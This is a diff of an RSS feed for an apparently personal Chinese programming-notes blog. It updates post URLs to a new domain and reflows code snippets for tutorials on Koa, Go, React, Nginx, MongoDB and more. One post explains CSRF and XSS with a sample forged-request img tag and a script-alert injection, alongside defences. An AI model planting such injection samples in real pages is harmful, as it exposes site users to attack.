+&amp;lt;div ng-app ng-init=&amp;quot;name=&#39;default&#39;&amp;quot;&amp;gt; &amp;lt;p&amp;gt;name: &amp;lt;input type=&amp;quot;text&amp;quot; ng-model=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;h1&amp;gt;hallo，{{name}}&amp;lt;/h1&amp;gt; &amp;lt;p ng-bind=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</description>
     </item>
     
     <item>
       <title>Koa框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/100/</link>
+      <link>https://chenjunlinabc.github.io/posts/100/</link>
       <pubDate>Sun, 12 Sep 2021 18:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/100/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/100/</guid>
       <description>koa是web应用框架，是Express原班人马打造的，致力于成为一个更小、更富有表现力、更健壮的 Web 框架
 个人推荐：个人开发推荐用koa，团队开发推荐用egg
 egg是在koa的基础上进行封装，并且提供了一些，并且添加了约束，更利于工程化的开发
 安装koa
 npm install koa
 新建一个app.js
-const Koa = require(&amp;quot;koa&amp;quot;)
const app = new Koa()
app.use(async (ctx, next) =&amp;gt; {
await next()
ctx.response.type = &#39;text/html&#39;
ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39;
})
app.listen(3000)
node app.js
+const Koa = require(&amp;quot;koa&amp;quot;) const app = new Koa() app.use(async (ctx, next) =&amp;gt; { await next() ctx.response.type = &#39;text/html&#39; ctx.response.body = &#39;&amp;lt;h1&amp;gt;hallo, koa!&amp;lt;/h1&amp;gt;&#39; }) app.listen(3000) node app.js
 get请求参数的接收
-const Koa = require(&#39;koa&#39;)
const app = new Koa()
app.use(async(ctx)=&amp;gt;{
const url =ctx.url
const request =ctx.request
const reqQuery = request.query
const reqQuerystring = request.querystring
ctx.body={
url,
reqQuery,
reqQuerystring
}
})
app.listen(3000,()=&amp;gt;{
console.log(&#39;port 3000&#39;)
})
http://127.</description>
+const Koa = require(&#39;koa&#39;) const app = new Koa() app.use(async(ctx)=&amp;gt;{ const url =ctx.url const request =ctx.request const reqQuery = request.query const reqQuerystring = request.querystring ctx.body={ url, reqQuery, reqQuerystring } }) app.listen(3000,()=&amp;gt;{ console.log(&#39;port 3000&#39;) }) http://127.</description>
     </item>
     
     <item>
       <title>简单了解CSRF攻击和XSS攻击</title>
-      <link>https://xiaochenabc123.github.io/posts/99/</link>
+      <link>https://chenjunlinabc.github.io/posts/99/</link>
       <pubDate>Sun, 12 Sep 2021 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/99/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/99/</guid>
       <description>CSRF
 CSRF：跨站点请求伪造(Cross—Site Request Forgery)
 CSRF实质上就是盗用身份，来实现发送恶意请求
 在访问某个“可信”站点，生成Cookie，再打开某个恶意网站，而这个恶意网站带有CSRF攻击的脚本，然后通过引诱用户触发该脚本，就会向那个可信站点发送恶意请求
 例如：
-&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt;
只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
+&amp;lt;img src =&amp;quot;http://xxx.xxx/test?xxx=666&amp;quot;&amp;gt; 只要访问就会发生该恶意请求，也可以是某超链接或者按钮等等
 而解决方法就是保证请求来源自当前站点，例如Referer字段，这个字段记录来源站点的地址，通过判断Referer字段上的域名，来判断是否是当前网站自己的请求
 这个方法有个缺点就是由浏览器提供，不能保证浏览器自己有没有安全漏洞，不然还是能够伪造Referer字段，而且如果用户设置不提供Referer字段，那也会默认导致认为是CSRF攻击
 还有一个方法就是通过添加token来处理，请求地址使用一串令牌（加密），来确保是当前站点发送请求，因为哪怕是伪造请求，也不知道令牌是什么，而且还搭配XMLHttpRequest来请求，确保请求信息不被Referer字段收录
 JavaScript简单实现方法
-let referer = document.location.href;
if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){
console.log(&amp;quot;验证成功!!!&amp;quot;)
}else{
console.log(&amp;quot;验证失败!!!&amp;quot;)
}
防御措施：token身份验证，页面来源验证（referer）等等
+let referer = document.location.href; if(referer != null &amp;amp;&amp;amp; referer.startsWith(&amp;quot;https://xiaochenabc123.test.com&amp;quot;)){ console.log(&amp;quot;验证成功!!!&amp;quot;) }else{ console.log(&amp;quot;验证失败!!!&amp;quot;) } 防御措施：token身份验证，页面来源验证（referer）等等
 XSS：跨站脚本攻击（Cross Site Scripting），因为避免和层叠样式表混淆，因此叫XSS
 XSS攻击原理就是在页面插入恶意脚本，当页面被访问了，那么这个恶意脚本被执行，从而达到恶意攻击用户的目的
 例如：在某个页面评论上加&amp;lt;script&amp;gt;alert(&amp;lsquo;hack&amp;rsquo;)&amp;lt;/script&amp;gt;，那么如果没有做过xss攻击防御的站点，其他用户访问到这个页面，那么就会执行该程序
@@ -1631,7 +1631,7 @@ xss和csrf的区别：csrf是利用网站的自动执行的接口，依赖于用
 内容安全策略实质上就是告诉浏览器，什么东西可以加载执行，什么东西不能加载执行，内容安全策略的实现和操作都由浏览器完成，只需要提供配置就好
 要开启CSP需要服务器返回Content-Security-Policy头部
 html也可以配置该策略，例如：
-&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt;
其中img-src对应的指定图像或者图标的有效来源
+&amp;lt;meta http-equiv=&amp;quot;Content-Security-Policy&amp;quot; content=&amp;quot;default-src &#39;self&#39;; img-src https://*;&amp;quot;&amp;gt; 其中img-src对应的指定图像或者图标的有效来源
 常用的有img-src，font-src，script-src，style-src等等
 CSRF
 X-Frame-Options：DENY/SAMEORIGIN
@@ -1642,10 +1642,10 @@ Strict：完全禁止第三方Cookie，只有当目前网页的url和请求目
     
     <item>
       <title>Redis学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/97/</link>
+      <link>https://chenjunlinabc.github.io/posts/97/</link>
       <pubDate>Fri, 10 Sep 2021 21:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/97/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/97/</guid>
       <description>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
@@ -1694,10 +1694,10 @@ daemonize yes</description>
     
     <item>
       <title>Golang学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/96/</link>
+      <link>https://chenjunlinabc.github.io/posts/96/</link>
       <pubDate>Thu, 09 Sep 2021 01:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/96/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/96/</guid>
       <description>Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
@@ -1713,7 +1713,7 @@ GOBIN对应着 go install安装和编译的二进制程序的安装目录
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &amp;quot;fmt&amp;quot;
func main(){
fmt.Println(&amp;quot;hallo golang&amp;quot;)
}
go run hallo.go
+package main import &amp;quot;fmt&amp;quot; func main(){ fmt.Println(&amp;quot;hallo golang&amp;quot;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -1739,10 +1739,10 @@ var abc xyz string = &amp;ldquo;hallo&amp;rdquo;,&amp;ldquo;word&amp;rdquo;</des
     
     <item>
       <title>简单使用Jest-JavaScript测试工具</title>
-      <link>https://xiaochenabc123.github.io/posts/95/</link>
+      <link>https://chenjunlinabc.github.io/posts/95/</link>
       <pubDate>Mon, 06 Sep 2021 23:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/95/</guid>
       <description>Jest是Facebook开源的一套JavaScript测试框架
 安装
 在项目中安装
@@ -1750,9 +1750,9 @@ yarn add &amp;ndash;dev jest或者npm install &amp;ndash;save-dev jest
 全局安装
 yarn global add jest
 hello.js
-module.exports = function(){
return &amp;quot;hello world&amp;quot;
}
hello.test.js
-const hello = require(&#39;../hello&#39;)
it(&#39;should &#39;, () =&amp;gt; {
expect(hello()).toBe(&#39;hello world&#39;)
})
package.json
-{
&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot;
}
}
执行测试
+module.exports = function(){ return &amp;quot;hello world&amp;quot; } hello.test.js
+const hello = require(&#39;../hello&#39;) it(&#39;should &#39;, () =&amp;gt; { expect(hello()).toBe(&#39;hello world&#39;) }) package.json
+{ &amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;jest&amp;quot; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -1769,19 +1769,19 @@ toBeGreaterThanOrEqual(6) //判断结果是否大于等于6</description>
     
     <item>
       <title>React进阶学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/94/</link>
+      <link>https://chenjunlinabc.github.io/posts/94/</link>
       <pubDate>Fri, 03 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/94/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/94/</guid>
       <description>react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
&amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;,
&amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt;
]
}
或者
-render(){
return &amp;quot;hallo word&amp;quot;
}
错误处理
+render(){ return[ &amp;lt;div&amp;gt;hallo&amp;lt;/div&amp;gt;, &amp;lt;div&amp;gt;word&amp;lt;/div&amp;gt; ] } 或者
+render(){ return &amp;quot;hallo word&amp;quot; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -1799,15 +1799,15 @@ yarn add react-markdown
 导入
 import ReactMarkdown from &amp;lsquo;react-markdown&amp;rsquo;
 测试
-let markdown =
&amp;quot;**这是加粗的文字**\n\n&amp;quot; +
&amp;quot;*这是倾斜的文字*`\n\n&amp;quot; +
&amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; +
&amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; +
&amp;quot;`console.log(111)` \n\n&amp;quot; +
&amp;quot;``` var a=11; ```&amp;quot;;
&amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt;
</description>
+let markdown = &amp;quot;**这是加粗的文字**\n\n&amp;quot; + &amp;quot;*这是倾斜的文字*`\n\n&amp;quot; + &amp;quot;***这是斜体加粗的文字***\n\n&amp;quot; + &amp;quot;~~这是加删除线的文字~~ \n\n&amp;quot; + &amp;quot;`console.log(111)` \n\n&amp;quot; + &amp;quot;``` var a=11; ```&amp;quot;; &amp;lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/&amp;gt; </description>
     </item>
     
     <item>
       <title>Taro框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -1833,15 +1833,15 @@ ReactNative yarn dev:rn
 编译完成的端源码在dist目录下
 作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的
 Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）
-import Taro, { useState } from &#39;@tarojs/taro&#39;
import { View, Text } from &#39;@tarojs/components&#39;
import &#39;./index.less&#39;
function Main(){
const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;)
return ( &amp;lt;View&amp;gt;
&amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt;
&amp;lt;/View&amp;gt;
)
}
export default Main
子组件</description>
+import Taro, { useState } from &#39;@tarojs/taro&#39; import { View, Text } from &#39;@tarojs/components&#39; import &#39;./index.less&#39; function Main(){ const [count ,setUserName] = useState(&amp;quot;hallo word&amp;quot;) return ( &amp;lt;View&amp;gt; &amp;lt;Text&amp;gt;{count}&amp;lt;/Text&amp;gt; &amp;lt;/View&amp;gt; ) } export default Main 子组件</description>
     </item>
     
     <item>
       <title>Taro脚手架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/92/</link>
+      <link>https://chenjunlinabc.github.io/posts/92/</link>
       <pubDate>Tue, 31 Aug 2021 12:15:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/92/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/92/</guid>
       <description>Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行
 Taro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持
 Taro官方文档：https://taro-docs.jd.com/taro/docs/README
@@ -1867,10 +1867,10 @@ import { View, Text } from &#39;@tarojs/components&#39; function Data(){ return
     
     <item>
       <title>简单利用Electron框架开发桌面端应用</title>
-      <link>https://xiaochenabc123.github.io/posts/91/</link>
+      <link>https://chenjunlinabc.github.io/posts/91/</link>
       <pubDate>Wed, 25 Aug 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/91/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/91/</guid>
       <description>Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用
 GUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能
 Visual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟
@@ -1890,16 +1890,16 @@ var BrowserWindow = electron.BrowserWindow
 声明主窗口
 var mainWindow = null
 设置参数
-app.on(&#39;ready&#39;,()=&amp;gt;{
mainWindow = new BrowserWindow({
// 设置窗口大小
width:500,
height:500,
webPreferences:{
nodeIntegration: true
// 是否集成node
}
}) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面
mainWindow.on(&#39;closed&#39;,()=&amp;gt;{
mainWindow = null
// 监听销毁事件，事件触发关闭主窗口，设置为null
})
})
初始化
+app.on(&#39;ready&#39;,()=&amp;gt;{ mainWindow = new BrowserWindow({ // 设置窗口大小 width:500, height:500, webPreferences:{ nodeIntegration: true // 是否集成node } }) mainWindow.loadFile(&#39;index.html&#39;) // 指定窗口加载那个页面 mainWindow.on(&#39;closed&#39;,()=&amp;gt;{ mainWindow = null // 监听销毁事件，事件触发关闭主窗口，设置为null }) }) 初始化
 npm init &amp;ndash;yes</description>
     </item>
     
     <item>
       <title>Markdown基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/88/</link>
+      <link>https://chenjunlinabc.github.io/posts/88/</link>
       <pubDate>Wed, 18 Aug 2021 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/88/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/88/</guid>
       <description>Markdown是一个标记语言，常用于编写文档
 标题
 一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6
@@ -1931,10 +1931,10 @@ xxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中
     
     <item>
       <title>简单使用Vite-前端构建工具</title>
-      <link>https://xiaochenabc123.github.io/posts/87/</link>
+      <link>https://chenjunlinabc.github.io/posts/87/</link>
       <pubDate>Wed, 18 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/87/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/87/</guid>
       <description>Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载
 Vite在法语中的意思为快速的
 基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块
@@ -1974,16 +1974,16 @@ npm install
 Vite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成
 Vite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）
 安装@vitejs/plugin-legacy
-yarn add @vitejs/plugin-legacy -d
配置vite.config.ts
-import legacy from &#39;@vitejs/plugin-legacy&#39;
.</description>
+yarn add @vitejs/plugin-legacy -d 配置vite.config.ts
+import legacy from &#39;@vitejs/plugin-legacy&#39; .</description>
     </item>
     
     <item>
       <title>简单使用Nginx</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -2023,10 +2023,10 @@ user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般
     
     <item>
       <title>简单使用Nginx HTTP服务器软件</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -2061,15 +2061,15 @@ apt install nginx
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
error_log /www/wwwlogs/nginx_error.</description>
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.</description>
     </item>
     
     <item>
       <title>SVN版本控制系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/84/</link>
+      <link>https://chenjunlinabc.github.io/posts/84/</link>
       <pubDate>Wed, 11 Aug 2021 15:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/84/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/84/</guid>
       <description>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
@@ -2108,10 +2108,10 @@ svn commit -m &amp;ldquo;hello svn&amp;rdquo;</description>
     
     <item>
       <title>简单使用Ant Design组件库</title>
-      <link>https://xiaochenabc123.github.io/posts/82/</link>
+      <link>https://chenjunlinabc.github.io/posts/82/</link>
       <pubDate>Tue, 10 Aug 2021 23:03:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/82/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/82/</guid>
       <description>Ant Design是蚂蚁金服技术沉淀出一套基于React的组件库和前端框架
 官网：https://ant.design/index-cn
 使用create-react-app初始项目
@@ -2127,15 +2127,15 @@ yarn add antd
 yarn create react-app antd-demo-ts &amp;ndash;template typescript
 Antd的样式使用了less作为开发语言
 第一个实例demo
-import &#39;antd/dist/antd.css&#39;;
import { DatePicker, Space } from &#39;antd&#39;;
ReactDOM.render(
&amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt;
&amp;lt;DatePicker/&amp;gt;
&amp;lt;/Space&amp;gt;,
document.getElementById(&#39;root&#39;),
); </description>
+import &#39;antd/dist/antd.css&#39;; import { DatePicker, Space } from &#39;antd&#39;; ReactDOM.render( &amp;lt;Space direction=&amp;quot;vertical&amp;quot;&amp;gt; &amp;lt;DatePicker/&amp;gt; &amp;lt;/Space&amp;gt;, document.getElementById(&#39;root&#39;), ); </description>
     </item>
     
     <item>
       <title>Svelte学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/80/</link>
+      <link>https://chenjunlinabc.github.io/posts/80/</link>
       <pubDate>Mon, 09 Aug 2021 22:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/80/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/80/</guid>
       <description>Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
@@ -2144,18 +2144,18 @@ npx degit sveltejs/template demo
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-&amp;lt;script&amp;gt;
let name = &#39;world&#39;
&amp;lt;/script&amp;gt;
&amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt;
导入组件
-import Hallo from &#39;./hallo.svelte&#39;
...
&amp;lt;Hallo/&amp;gt;
如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
+&amp;lt;script&amp;gt; let name = &#39;world&#39; &amp;lt;/script&amp;gt; &amp;lt;h1&amp;gt;Hello {name}!&amp;lt;/h1&amp;gt; 导入组件
+import Hallo from &#39;./hallo.svelte&#39; ... &amp;lt;Hallo/&amp;gt; 如果想将HTML渲染到组件中可以使用 let string = &amp;lt;div&amp;gt;hallo word&amp;lt;/div&amp;gt; {@html string}
 事件响应
-function aClick() {
count += 1
}
...
&amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
+function aClick() { count += 1 } ... &amp;lt;button on:click={aClick}&amp;gt;{count}&amp;lt;/button&amp;gt; </description>
     </item>
     
     <item>
       <title>算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/79/</link>
+      <link>https://chenjunlinabc.github.io/posts/79/</link>
       <pubDate>Mon, 09 Aug 2021 20:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/79/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/79/</guid>
       <description>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
@@ -2171,36 +2171,36 @@ O(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Comple
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a&amp;lt;nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&amp;lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
     </item>
     
     <item>
       <title>Mobx学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/78/</link>
+      <link>https://chenjunlinabc.github.io/posts/78/</link>
       <pubDate>Sun, 08 Aug 2021 21:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/78/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/78/</guid>
       <description>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot;
import {observer} from &amp;quot;mobx-react&amp;quot;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &amp;quot;mobx&amp;quot; import {observer} from &amp;quot;mobx-react&amp;quot; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from &#39;mobx&#39;
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from &#39;mobx&#39; configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this.</description>
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.</description>
     </item>
     
     <item>
       <title>简单认识HTTP协议</title>
-      <link>https://xiaochenabc123.github.io/posts/77/</link>
+      <link>https://chenjunlinabc.github.io/posts/77/</link>
       <pubDate>Sun, 08 Aug 2021 17:02:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/77/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/77/</guid>
       <description>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
@@ -2264,10 +2264,10 @@ http常见状态码
     
     <item>
       <title>MongoDB学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/76/</link>
+      <link>https://chenjunlinabc.github.io/posts/76/</link>
       <pubDate>Sun, 08 Aug 2021 14:20:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/76/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/76/</guid>
       <description>MongoDB是一个以键值对存储数据的数据库（基于json描述数据，实质上是一个叫BSON的数据格式，BSON是基于二进制字节流，json基于文本）
 MongoDB是No SQL家族的成员之一，No SQL一般指的是非关系型数据库（Not only SQL）
 关系型数据库和Excel表格类似，表与表之间存在着复杂的关联关系，例如MySQL，sql server
@@ -2317,10 +2317,10 @@ db.createCollection(&amp;ldquo;test&amp;rdquo;, { capped : true, autoIndexId : t
     
     <item>
       <title>NextJS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/74/</link>
+      <link>https://chenjunlinabc.github.io/posts/74/</link>
       <pubDate>Sat, 07 Aug 2021 23:26:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/74/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/74/</guid>
       <description>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
@@ -2335,7 +2335,7 @@ yarn init
 在scripts下加添加
 &amp;ldquo;dev&amp;rdquo; : &amp;ldquo;next&amp;rdquo;, &amp;ldquo;build&amp;rdquo;: &amp;ldquo;next build&amp;rdquo;, &amp;ldquo;start&amp;rdquo;: &amp;ldquo;next start&amp;rdquo;
 创建个js文件
-function Hallo(){
return(
